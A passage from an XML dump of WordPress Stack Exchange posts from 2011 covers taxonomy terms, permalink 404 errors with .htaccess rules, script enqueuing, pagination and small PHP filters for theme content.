href=\&quot;$link\&quot;&amp;gt;$bro-&amp;gt;name&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&quot;;&#xA;            }&#xA;            echo &quot;&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T10:08:43.097" LastActivityDate="2011-02-05T10:08:43.097" Title="get_terms() not working properly when using hierarchical taxonomies" Tags="&lt;custom-taxonomy&gt;&lt;filters&gt;&lt;coding&gt;" CommentCount="5" />
  <row Id="8349" PostTypeId="1" AcceptedAnswerId="9041" CreationDate="2011-02-02T09:53:55.503" Score="0" ViewCount="276" Body="&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;I just configured my VPS, I am using&#xA;    Centos, everything works fine, but if&#xA;    I am setting my permalinks to Custom&#xA;    Structure, then accept the homepage&#xA;    none of the posts come, it shows me&#xA;    404 page, I think this is because I&#xA;    haven't enabled curl, but I don't know&#xA;    where is my php.ini file in my centos?&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;OK my curl is enabled, I checked it&#xA;  through &lt;code&gt;phpinfo();&lt;/code&gt; Here is the URL&#xA;  &lt;a href=&quot;http://74.117.158.182/info.php&quot; rel=&quot;nofollow&quot;&gt;http://74.117.158.182/info.php&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;But if I am setting any permalinks in&#xA;  my wordpress then accept home page,&#xA;  all are giving me 404 pages You can&#xA;  check it on this URL &lt;a href=&quot;http://mbas.co.in&quot; rel=&quot;nofollow&quot;&gt;http://mbas.co.in&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If I am keeping the permalink as&#xA;  default then pages are loaded without&#xA;  any 404&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I don't know what is the problem,&#xA;  more-over my post-content is not&#xA;  getting loaded, Only the posts title&#xA;  comes, but the content part is&#xA;  missing, &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;MY APACHE ERROR LOG&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;[Tue Feb 01 15:22:47 2011] [notice] suEXEC mechanism enabled (wrapper:&#xA;    /usr/sbin/suexec)&lt;br&gt;&#xA;    [Tue Feb 01 15:22:47 2011] [notice] Digest: generating secret for digest&#xA;    authentication ...&lt;br&gt;&#xA;    [Tue Feb 01 15:22:47 2011] [notice] Digest: done&lt;br&gt;&#xA;    [Tue Feb 01 15:22:47 2011] [notice] Apache/2.2.3 (CentOS) configured --&#xA;    resuming normal operations&lt;br&gt;&#xA;    [Tue Feb 01 15:22:51 2011] [error] [client 95.168.183.226] File does not&#xA;    exist:&#xA;    /var/www/html/web-hosting-concerns-for-ecommerce-businesses,&#xA;    referer: mysite.com&lt;br&gt;&#xA;    [Tue Feb 01 15:23:30 2011] [error] [client 38.101.148.126] File does not&#xA;    exist: /var/www/html/cpcu-vs-mba&lt;br&gt;&#xA;    [Tue Feb 01 15:23:35 2011] [error] [client 66.77.240.125] File does not&#xA;    exist:&#xA;    /var/www/html/can-u-see-below-for-growing-opinions-on-write-in-vote-process-in-sa&lt;/p&gt;&#xA;    &#xA;    &lt;p&gt;[Tue Feb 01 15:23:43 2011] [error] [client 38.101.148.126] File does not&#xA;    exist:&#xA;    /var/www/html/dc-area-financial-strategist-questions-lack-of-regulation-for-tv-financial-gurus&lt;/p&gt;&#xA;    &#xA;    &lt;p&gt;[Tue Feb 01 15:24:15 2011] [error] [client 38.101.148.126] File does not&#xA;    exist:&#xA;    /var/www/html/is-a-political-science-degree-with-a-business-admin-minor-a-good-idea-feature-jobs-with-that-combo&lt;/p&gt;&#xA;    &#xA;    &lt;p&gt;[Tue Feb 01 15:26:01 2011] [error] [client 66.249.71.225] File does not&#xA;    exist:&#xA;    /var/www/html/emba-ralph-irizarry-timbalista-de-ruben-blades&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;My htaccess file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN W3TC Page Cache&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine On&#xA;    RewriteBase /&#xA;    RewriteCond %{HTTP_USER_AGENT} (2\.0\&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;mmp|240x320|alcatel|amoi|asus|au-mic|audiovox|avantgo|benq|bird|blackberry|blazer|cdm|cellphone|danger|ddipocket|docomo|dopod|elaine/3.0|ericsson|eudoraweb|fly|haier|hiptop|hp.ipaq|htc|huawei|i-mobile|iemobile|j-phone|kddi|konka|kwc|kyocera/wx310k|lenovo|lg|lg/u990|lge\&#xA;  vx|midp|midp-2.0|mmef20|mmp|mobilephone|mot-v|motorola|netfront|newgen|newt|nintendo\&#xA;  ds|nintendo\&#xA;  wii|nitro|nokia|novarra|o2|openweb|opera\&#xA;  mobi|opera.mobi|palm|panasonic|pantech|pdxgw|pg|philips|phone|playstation\&#xA;  portable|portalmmm|ppc|proxinet|psp|pt|qtek|sagem|samsung|sanyo|sch|sec|sendo|sgh|sharp|sharp-tq-gx10|small|smartphone|softbank|sonyericsson|sph|symbian|symbian\&#xA;  os|symbianos|toshiba|treo|ts21i-10|up.browser|up.link|uts|vertu|vodafone|wap|willcome|windows\&#xA;  ce|windows.ce|winwap|xda|zte) [NC]&#xA;          RewriteRule .* - [E=W3TC_UA:_low]&#xA;          RewriteCond %{HTTP_USER_AGENT} (acer\&#xA;  s100|android|archos5|blackberry9500|blackberry9530|blackberry9550|cupcake|docomo\&#xA;  ht-03a|dream|htc\ hero|htc\&#xA;  magic|htc_dream|htc_magic|incognito|ipad|iphone|ipod|lg-gw620|liquid\&#xA;  build|maemo|mot-mb200|mot-mb300|nexus\&#xA;  one|opera\&#xA;  mini|samsung-s8000|series60.&lt;em&gt;webkit|series60/5.0|sonyericssone10|sonyericssonu20|sonyericssonx10|t-mobile\&#xA;  mytouch\ 3g|t-mobile\&#xA;  opal|tattoo|webmate|webos) [NC]&#xA;          RewriteRule .&lt;/em&gt; - [E=W3TC_UA:_high]&#xA;          RewriteCond %{HTTPS} =on&#xA;          RewriteRule .* - [E=W3TC_SSL:_ssl]&#xA;          RewriteCond %{SERVER_PORT} =443&#xA;          RewriteRule .* - [E=W3TC_SSL:_ssl]&#xA;          RewriteCond %{HTTP:Accept-Encoding} gzip&#xA;          RewriteRule .* - [E=W3TC_ENC:.gzip]&#xA;          RewriteCond %{REQUEST_METHOD} !=POST&#xA;          RewriteCond %{QUERY_STRING} =&quot;&quot;&#xA;          RewriteCond %{REQUEST_URI} \/$&#xA;          RewriteCond %{REQUEST_URI} !(\/wp-admin\/|\/xmlrpc.php|\/wp-(app|cron|login|register|mail).php|wp-.*.php|index.php)&#xA;  [NC,OR]&#xA;          RewriteCond %{REQUEST_URI} (wp-comments-popup.php|wp-links-opml.php|wp-locations.php)&#xA;  [NC]&#xA;          RewriteCond %{HTTP_COOKIE} !(comment_author|wp-postpass|wordpress_[a-f0-9]+|wordpress_logged_in)&#xA;  [NC]&#xA;          RewriteCond &quot;/var/www/html/wp-content/w3tc/pgcache/$1/_index%{ENV:W3TC_UA}%{ENV:W3TC_SSL}.html%{ENV:W3TC_ENC}&quot;&#xA;  -f&#xA;          RewriteRule (.*) &quot;/wp-content/w3tc/pgcache/$1/_index%{ENV:W3TC_UA}%{ENV:W3TC_SSL}.html%{ENV:W3TC_ENC}&quot;&#xA;  [L]&#xA;      &#xA;      # END W3TC Page Cache&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;RewriteRule ^index\.php/?(.*)$ $1 [R] &#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;OK Everyone, the only solution I found was reinstalling the entire Centos, starting all from scratch, and enabling each thing respectively as per the answers, and finally it worked, my Linux was having some problems, thats why it was not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you everyone, for your support&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2011-02-12T11:02:08.187" LastActivityDate="2011-02-12T11:02:08.187" Title="curl problem or permalinks" Tags="&lt;permalinks&gt;&lt;server&gt;&lt;curl&gt;" AnswerCount="4" CommentCount="16" />
  <row Id="8350" PostTypeId="2" ParentId="8339" CreationDate="2011-02-02T10:25:10.700" Score="0" ViewCount="" Body="&lt;p&gt;If you are only showing one post of each category then in your &lt;code&gt;query_posts()&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;change the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;amp;paged='.$paged&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;amp;offset='.$paged&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-02T10:25:10.700" />
  <row Id="8352" PostTypeId="2" ParentId="8342" CreationDate="2011-02-02T11:06:06.780" Score="1" ViewCount="" Body="&lt;p&gt;jQuery should already be loaded, it's used throughout the admin area of WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to include some of your own jQuery, just enqueue the script and set jQuery as a dependancy.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_print_scripts-%HANDLE%','enqueue_my_script');&#xA;function enqueue_my_script(){&#xA;    // Uncomment line below if using inside a plugin&#xA;    //wp_enqueue_script( 'my-script', plugins_url( 'myfile.js', __FILE__ ), array( 'jquery' ) );&#xA;    // Uncomment line below if using inside theme functions.php&#xA;    //wp_enqueue_script( 'my-script', get_bloginfo( 'stylesheet_directory' ) . '/myfile.js', array( 'jquery' ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;%HANDLE% should be appropriately changed for the handle of your registered page, it's the fifth parameter in &lt;code&gt;add_menu_page&lt;/code&gt; and the fourth in &lt;code&gt;add_submenu_page&lt;/code&gt; and others such as &lt;code&gt;add_theme_page&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method will ensure the enqueue is only made for your specific custom page, and not &lt;em&gt;every&lt;/em&gt; admin page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also covered using registered handles to selectively enqueue in &lt;strong&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/7697/urls-of-plugin-resources&quot;&gt;URLs of plugin resources?&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-02T11:06:06.780" />
  <row Id="8353" PostTypeId="2" ParentId="8325" CreationDate="2011-02-02T11:29:41.743" Score="0" ViewCount="" Body="&lt;p&gt;Answered a question that's virtually identical to this very recently on the WordPress.org forums.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/custom-post-type-archive-page-pagination-isnt-working&quot; rel=&quot;nofollow&quot;&gt;Custom Post Type Archive Page - Pagination Isn't Working&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've provided a work-around / fix in that thread that should also work for you to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; You also need to add the paging parameter to your query..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array( &#xA;    'post_type' =&amp;gt; 'my_post_type', &#xA;    'paged' =&amp;gt; get_query_var('paged') ? get_query_var('paged') : 1,&#xA;    'posts_per_page' =&amp;gt; 15, &#xA;);&#xA;$loop = new WP_Query;&#xA;$loop-&amp;gt;query( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I reformatted the code to make it a little more readable, end result will be the same.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-02T13:57:25.833" LastActivityDate="2011-02-02T13:57:25.833" CommentCount="5" />
  <row Id="8354" PostTypeId="2" ParentId="8315" CreationDate="2011-02-02T11:46:35.867" Score="0" ViewCount="" Body="&lt;p&gt;well if you updated and it didn't work, try doing the fix manually&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as per this &lt;a href=&quot;http://wordpress.org/support/profile/alhadis&quot; rel=&quot;nofollow&quot;&gt;user&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;The solution I came up with was a serious hack, but there was no other way around it short of editing the plugin's core code. Just stick this somewhere in your theme's functions.php and it should work:&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_filter(&quot;wpcf7_mail_tag_replaced&quot;, &quot;suppress_wpcf7_filter&quot;);&#xA;function suppress_wpcf7_filter($value, $sub = &quot;&quot;){&#xA;    $out    =   !empty($sub) ? $sub : $value;&#xA;    $out    =   strip_tags($out);&#xA;    $out    =   wptexturize($out);&#xA;    return $out;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope it helps - otherwise if you are really helpless u might have to roll back to an older version of contact form. Version 2.2.1 doesn't seem to have this problem while version 2.3 has it&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2011-02-02T11:46:35.867" CommentCount="2" />
  <row Id="8355" PostTypeId="2" ParentId="8299" CreationDate="2011-02-02T12:01:47.740" Score="0" ViewCount="" Body="&lt;p&gt;The bulk of your theme is made up of three files, &lt;strong&gt;header.php&lt;/strong&gt;, &lt;strong&gt;footer.php&lt;/strong&gt; and &lt;strong&gt;style.css&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to load an alternative header, footer and/or stylesheet simply update the appropriate calls inside the category template(&lt;strong&gt;category.php&lt;/strong&gt;) to pull in a different header/footer/stylesheet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_header();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Becomes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_header( 'cat' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would then include &lt;strong&gt;header-cat.php&lt;/strong&gt; instead of &lt;strong&gt;header.php&lt;/strong&gt;.&lt;br&gt;&#xA;You can do the same with the &lt;code&gt;get_footer()&lt;/code&gt; call to include a different footer file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using alternate header/footer files is covered on the Codex pages.&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_header&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_header&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_footer&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_footer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the stylesheet, simply change this(in your new header file).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;all&quot; href=&quot;&amp;lt;?php bloginfo( 'stylesheet_url' ); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For something like..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;all&quot; href=&quot;&amp;lt;?php bloginfo( 'stylesheet_directory' ); ?&amp;gt;/style2.css&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or alternatively, use &lt;code&gt;wp_enqueue_style&lt;/code&gt; as suggested in the other answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Completely custom HTML and CSS without effecting any other kinds of pages(and no changes needed to the existing header/footer/stylesheet).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-02T12:01:47.740" />
  <row Id="8356" PostTypeId="2" ParentId="7090" CreationDate="2011-02-02T12:26:35.113" Score="6" ViewCount="" Body="&lt;p&gt;here's what we did yesterday on a client site that we were having this exact problem with... I created a quick filter as a plugin and activated it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Image P tag remover&#xA;Description: Plugin to remove p tags from around images in content outputting, after WP autop filter has added them. (oh the irony)&#xA;Version: 1.0&#xA;Author: Fublo Ltd&#xA;Author URI: http://fublo.net/&#xA;*/&#xA;&#xA;function filter_ptags_on_images($content)&#xA;{&#xA;    // do a regular expression replace...&#xA;    // find all p tags that have just&#xA;    // &amp;lt;p&amp;gt;maybe some white space&amp;lt;img all stuff up to /&amp;gt; then maybe whitespace &amp;lt;/p&amp;gt;&#xA;    // replace it with just the image tag...&#xA;    return preg_replace('/&amp;lt;p&amp;gt;(\s*)(&amp;lt;img .* \/&amp;gt;)(\s*)&amp;lt;\/p&amp;gt;/iU', '\2', $content);&#xA;}&#xA;&#xA;// we want it to be run after the autop stuff... 10 is default.&#xA;add_filter('the_content', 'filter_ptags_on_images');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you drop that into a php file in your /wp-content/plugins folder and then activate it, it should remove the p tags from any para that just contains an image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how strong the regexp is in terms of if it will fail with outputs from other editors - for example if the img tag is closed with just &gt; it will fail. If anyone has anything stronger, that would be really helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;James&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--- Improved filter ---&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To work with images that are wrapped in links, it keeps the links in the output and removes the p tags.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return preg_replace('/&amp;lt;p&amp;gt;\s*(&amp;lt;a .*&amp;gt;)?\s*(&amp;lt;img .* \/&amp;gt;)\s*(&amp;lt;\/a&amp;gt;)?\s*&amp;lt;\/p&amp;gt;/iU', '\1\2\3', $content);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2890" LastEditorUserId="2890" LastEditorDisplayName="" LastEditDate="2011-02-04T17:28:31.930" LastActivityDate="2011-02-04T17:28:31.930" CommentCount="2" />
  <row Id="8357" PostTypeId="1" AcceptedAnswerId="8921" CreationDate="2011-02-02T12:52:04.297" Score="2" ViewCount="237" Body="&lt;p&gt;I'm really having a few issues with inserting terms.  Here is my scenario: I have a taxonomy called veda_release_type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Release Type and Region&#xA;        $labels = array(&#xA;            'name'=&amp;gt; _x('Release Types/Regions', 'taxonomy general name' ),&#xA;            'singular_name' =&amp;gt; _x('Release Type/Region', 'taxonomy singular name'),&#xA;            'search_items' =&amp;gt; __('Search Release Types/Regions'),&#xA;            'popular_items' =&amp;gt; __('Popular Release Types/Regions'),&#xA;            'all_items' =&amp;gt; __('All Release Types/Regions'),&#xA;            'edit_item' =&amp;gt; __('Edit Release Type/Regions'),&#xA;            'edit_item' =&amp;gt; __('Edit Release Type/Region'),&#xA;            'update_item' =&amp;gt; __('Update Release Type/Region'),&#xA;            'add_new_item' =&amp;gt; __('Add New Release Type/Region'),&#xA;            'new_item_name' =&amp;gt; __('New Release Type/Region Name'),&#xA;            'separate_items_with_commas' =&amp;gt; __('Seperate Release Types/Regions with Commas'),&#xA;            'add_or_remove_items' =&amp;gt; __('Add or Remove Release Types/Regions'),&#xA;            'choose_from_most_used' =&amp;gt; __('Choose from Most Used Release Types/Regions')&#xA;        );&#xA;        $args = array( &#xA;            'hierarchical' =&amp;gt;true,  &#xA;            'labels' =&amp;gt; $labels,  &#xA;            'query_var' =&amp;gt; true,  &#xA;            'rewrite' =&amp;gt; array('slug' =&amp;gt;'release_type')     &#xA;        );&#xA;        register_taxonomy('veda_release_type', 'veda_release',$args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's obviously hierchical.  Top level contains release types ieDVD, blu-ray.  The level under that are regions ie. Region 1, Region 2, etc.  So, the Hierarchy that I want is:&#xA;DVD&#xA;--Region 0&#xA;--Region 1&#xA;--Region 2&#xA;--Region 3&#xA;--Region 4&#xA;--Region 5&#xA;--Region 6&#xA;Blu-Ray&#xA;--Region A&#xA;--Region B&#xA;--Region C&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a function called insert_term in my class to check if a term exists then insert it if it doesn't:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function insert_term ($term, $taxonomy, $args = array()) {&#xA;        if (isset($args['parent'])) {&#xA;            $parent = $args['parent'];&#xA;        } else {&#xA;            $parent = 0;&#xA;        }&#xA;        $result = term_exists($term, $taxonomy, $parent);&#xA;        if ($result == false || $result == 0) {&#xA;            return wp_insert_term($term, $taxonomy, $args);             &#xA;        } else {&#xA;            return (array) $result;&#xA;        }       &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then I call said function to insert the terms:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $dvd = $this-&amp;gt;insert_term('DVD','veda_release_type');&#xA;    $this-&amp;gt;insert_term('Region 0','veda_release_type',array('parent'=&amp;gt;$dvd['term_id']));&#xA;    $this-&amp;gt;insert_term('Region 1','veda_release_type',array('parent'=&amp;gt;$dvd['term_id']));&#xA;    $this-&amp;gt;insert_term('Region 2','veda_release_type',array('parent'=&amp;gt;$dvd['term_id']));&#xA;    $this-&amp;gt;insert_term('Region 3','veda_release_type',array('parent'=&amp;gt;$dvd['term_id']));&#xA;    $this-&amp;gt;insert_term('Region 4','veda_release_type',array('parent'=&amp;gt;$dvd['term_id']));&#xA;    $this-&amp;gt;insert_term('Region 5','veda_release_type',array('parent'=&amp;gt;$dvd['term_id']));&#xA;    $this-&amp;gt;insert_term('Region 6','veda_release_type',array('parent'=&amp;gt;$dvd['term_id']));&#xA;&#xA;    $bd = $this-&amp;gt;insert_term('Blu-Ray', 'veda_release_type');&#xA;    $this-&amp;gt;insert_term('Region A','veda_release_type',array('parent'=&amp;gt;$bd['term_id']));&#xA;    $this-&amp;gt;insert_term('Region B','veda_release_type',array('parent'=&amp;gt;$bd['term_id']));&#xA;    $this-&amp;gt;insert_term('Region C','veda_release_type',array('parent'=&amp;gt;$bd['term_id']));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem I'm having is that even though the terms get inputed in the database, they don't show up on the taxonomy page.  At most, the top level terms show up.  I have to try various things until it sorta forces WordPress to recognize the sublevel terms.  Has anyone run into this or can recommend a better way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Noticed something else: I tried deleting the terms off the database then deactivating and reactivating the plugin that declares the terms.  The two parent terms show up in the terms page, but the child terms do not.  The child terms DO show up in the &quot;Parent&quot; drop down menu where you want to create a new term.  When I add a term whose parent is one of the child terms and refresh the page, THEN the child terms show up.&#xA;&lt;img src=&quot;http://i.stack.imgur.com/sMpFO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2234" LastEditorUserId="2234" LastEditorDisplayName="" LastEditDate="2011-02-08T23:17:56.893" LastActivityDate="2011-02-08T23:55:17.967" Title="Inserting terms in an Hierarchical Taxonomy" Tags="&lt;custom-taxonomy&gt;&lt;coding&gt;&lt;terms&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="8359" PostTypeId="2" ParentId="8285" CreationDate="2011-02-02T13:35:01.647" Score="0" ViewCount="" Body="&lt;p&gt;A filter on &lt;code&gt;the_content_more_link&lt;/code&gt; may be appropriate for you, the filter should give you full control over the more link, so you could essentially add to it, remove it, or pre/ap-pend some extra content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example, uncomment the appropriate line to prepend or append(ie. place extra content before or after the link).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_content_more_link', 'custom_more_link', 1000 );&#xA;&#xA;function custom_more_link( $more_link ) {&#xA;&#xA;    $extra_more = '&amp;lt;br /&amp;gt;My more link extra content';&#xA;&#xA;    // Uncomment line below to prepend content&#xA;    //return $extra_more . $more_link;&#xA;&#xA;    // Uncomment line below to append content&#xA;    //return $more_link . $extra_more;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; The extra content must be stored inside the variable returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further reading/examples.&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Customizing_the_Read_More&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Customizing_the_Read_More&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://justintadlock.com/archives/2009/07/01/how-to-filter-a-wordpress-themes-more-link-text&quot; rel=&quot;nofollow&quot;&gt;http://justintadlock.com/archives/2009/07/01/how-to-filter-a-wordpress-themes-more-link-text&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-02T13:35:01.647" CommentCount="10" />
  <row Id="8360" PostTypeId="2" ParentId="8303" CreationDate="2011-02-02T13:39:09.240" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;$wp_filesystem&lt;/code&gt; is a global variable containing the instance of the (auto-)configured filesystem object after the filesystem &quot;factory&quot; has been run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To run the factory &quot;over&quot; the global variable (so to set it), just call the &lt;code&gt;WP_Filesystem()&lt;/code&gt; function which is, guess what, &lt;a href=&quot;http://wordpress.org/search/wp_filesystem?documentation=1&quot; rel=&quot;nofollow&quot;&gt;undocumented in codex&lt;/a&gt;. At least the &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-admin/includes/file.php#L762&quot; rel=&quot;nofollow&quot;&gt;docblock contains some information&lt;/a&gt; and you can read the sourcecode (if that's an option for you).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I would give it a try to add a function call to your code after requiring the file.php from the &lt;code&gt;/wp-admin/includes&lt;/code&gt; directory. Probably this already solves your issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking for a (better) file-system abstraction than/next to the built-in one, consider the &lt;a href=&quot;http://www.php.net/manual/en/spl.files.php&quot; rel=&quot;nofollow&quot;&gt;file-system objects in SPL&lt;/a&gt; which is part of PHP already.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-02T13:39:09.240" CommentCount="4" />
  <row Id="8361" PostTypeId="2" ParentId="8357" CreationDate="2011-02-02T13:43:36.240" Score="2" ViewCount="" Body="&lt;p&gt;You could possibly be receiving an object back from &lt;code&gt;term_exists($term, $taxonomy, $parent)&lt;/code&gt; if the taxonomy is set when called. It's set in the sample code you posted, so i'm assuming that's the issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your inserts statements are expecting an array when they reference keys..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$bd['term_id']&#xA;$dvd['term_id']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..but you may actually be getting an object back from &lt;code&gt;term_exists&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick way to determine if that's the problem would be to update this line.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $result;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return is_object( $result ) ? (array) $result : $result;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i'm right and that is the problem, that should fix it, though i'd not call that an elegant fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully that's the answer/help you were looking for.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-02T15:26:34.350" 